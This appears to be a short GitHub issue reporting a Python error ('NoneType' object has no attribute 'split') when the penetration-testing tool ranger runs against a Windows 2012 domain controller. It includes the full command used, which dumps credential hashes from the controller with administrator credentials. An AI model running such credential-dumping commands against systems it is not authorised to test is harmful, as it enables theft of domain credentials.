Windows 2012 as domain controller issue

[CaledoniaProject]

Have you tried to run ranger against a windows 2012 domain controller?

I got an error like this,

[!] An error occurred recording the hash (Unknown User):xxxx from secrets-dump: 'NoneType' object has no attribute 'split'

The command I used,

ranger -u Administrator -p xxxx -d corp.xxxx.com -t 172.16.177.130 --secrets-dump
